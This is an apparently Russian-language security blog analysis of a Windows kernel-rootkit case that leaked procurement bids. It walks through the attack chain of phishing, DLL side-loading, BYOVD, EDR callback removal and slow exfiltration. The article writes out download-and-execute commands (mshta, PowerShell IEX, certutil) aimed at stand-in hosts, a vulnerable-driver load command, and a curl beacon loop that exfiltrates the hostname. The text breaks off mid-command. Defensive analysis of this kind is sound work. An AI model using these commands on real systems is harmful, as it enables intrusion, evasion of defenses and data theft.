CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы APT-угрозы и госзакупки

Бэкдор в ядре Windows: техническая анатомия кейса, когда антивирус восемь месяцев не видел утечку тендерной документации

Разбираем, как программа, спрятанная на уровне ядра операционной системы, месяцами сливала конкурентам условия заявок — и почему обычный антивирус физически не мог её заметить.

Разбор CIOlogia

В коротком посте про компанию-поставщика оборудования по госконтрактам была изложена суть: заявки утекали конкурентам за час до дедлайна, а виноват оказался не сотрудник, а код, вживлённый в саму операционную систему на уровне ядра — там, куда антивирус в принципе не заглядывает. Здесь разберём механику атаки детально: какими инструментами и в какой последовательности это делается, почему классическая защита слепа к таким имплантам, и что конкретно нужно поменять в инфраструктуре, чтобы подобное не повторилось.

Похожий почерк описан в отчётах по группировке Mustang Panda (она же TA416, Bronze President, Red Delta) — известной кампанией с использованием буткит-подобных руткитов уровня ядра на госструктурах сразу нескольких стран. Механизм универсален и воспроизводится в любой инфраструктуре, где нет контроля целостности ядра и загрузчика.

Почему антивирус в принципе не видит такие импланты

Обычный антивирус работает в пользовательском режиме (ring 3) и частично — через легитимные мини-фильтры файловой системы и минифильтры сети в ядре, но опирается на данные, которые ему предоставляет сама операционная система: список процессов, список драйверов, таблицу сетевых соединений. Руткит уровня ядра (ring 0) модифицирует эти самые структуры данных изнутри — то есть врёт операционной системе, а через неё и антивирусу.

Технически это называется DKOM — Direct Kernel Object Manipulation: злоумышленник напрямую редактирует связные списки ядра (PsActiveProcessLinks, PsLoadedModuleList, таблицы TCP-эндпоинтов), исключая из них свой процесс, драйвер или соединение. Формально объект существует и работает, но ни один API, которым пользуется антивирус (EnumProcesses, NtQuerySystemInformation, GetTcpTable), его не покажет.

Как это эксплуатируется — по шагам

1. Первичный доступ: фишинг с легитимным на вид вложением

Классика жанра для Mustang Panda и похожих группировок — ISO/ZIP-архив с LNK-файлом внутри, реже — HTA/RTF с эксплойтом. Пользователь открывает «счёт» или «спецификацию», а LNK на деле запускает PowerShell-загрузчик:

mshta.exe http://update-portal[.]example/spec.hta
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://cdn-update[.]example/ld.ps1')"

Загрузчик тянет второй этап — обычно легитимный подписанный exe и вредоносную DLL к нему (классическая схема DLL side-loading, известная по семейству PlugX/Korplug):

certutil -urlcache -split -f http://cdn-update[.]example/pkg.zip pkg.zip
expand pkg.zip -F:* C:\Users\Public\upd\
C:\Users\Public\upd\McOemCP.exe   :: подписанный легитимный бинарь
:: рядом лежит McUtil.dll — вредоносная, подхватывается через DLL search order hijacking

В логах Sysmon это выглядит как Event ID 7 (Image Loaded) с подписанным родительским процессом и неподписанной DLL из нетипичной директории — если, конечно, Sysmon вообще стоит и логи кто-то читает.

2. Закрепление на уровне ядра через BYOVD

Чтобы получить возможность писать в ядро, злоумышленнику не нужно искать 0-day — Windows с включённым Driver Signature Enforcement всё равно не даст загрузить произвольный неподписанный драйвер. Вместо этого используется техника BYOVD (Bring Your Own Vulnerable Driver) — устанавливается легитимный подписанный, но уязвимый драйвер сторонней утилиты, дающий примитив произвольного чтения/записи физической памяти. Известные примеры из подобных публичных списков (loldrivers.io): RTCore64.sys (CVE-2019-16098), dbutil_2_3.sys (CVE-2021-21551), драйверы утилит для разгона видеокарт и мониторинга.

sc create rzpnk binPath= C:\Windows\Temp\RTCore64.sys type= kernel
sc start rzpnk
:: драйвер уязвим к произвольной записи в физическую память с уровня пользователя

Через полученный примитив записи в память атакующий либо патчит переменную g_CiOptions в ci.dll, отключая проверку подписи для последующих загрузок, либо сразу выполняет свой шелл-код в контексте ядра, не оставляя на диске второй неподписанный драйвер вовсе. Дополнительно с уровня ядра снимаются callback'и, на которые опирается любой EDR/AV — PsSetCreateProcessNotifyRoutine, PsSetLoadImageNotifyRoutine, ObRegisterCallbacks. Публично такую технику деобфускации демонстрируют инструменты вроде EDRSandBlast и Backstab — они снимают именно эти хуки, после чего защитное ПО продолжает «работать», но перестаёт получать события.

3. Сокрытие сети и файлов

После получения контроля над ядром имплант правит внутренние структуры TCP/IP-стека, исключая своё соединение из таблицы, которую видит netstat и любой AV-сканер соединений:

netstat -ano | findstr ESTABLISHED
:: соединение импланта в выводе физически отсутствует,
:: хотя в дампе трафика на периметровом firewall оно есть

Именно поэтому в кейсе с тендерной документацией единственным видимым артефактом оказалась не активность на самом хосте, а аномалия на уровне сетевого шлюза — ночные исходящие пакеты небольшого объёма на внешний адрес, которые никак не коррелировали с активностью пользователя.

4. Эксфильтрация — низко и медленно

Чтобы не спровоцировать алерты по объёму трафика, данные уходят маленькими порциями, часто через DNS-туннель или HTTPS с маскировкой под легитимный CDN-трафик (типичный malleable C2 профиль):

for i in {1..5}; do
  curl -s -A "Mozilla/5.0" https://cdn-update[.]example/api/beacon -d "id=$(hostname)&chunk=$i"
  s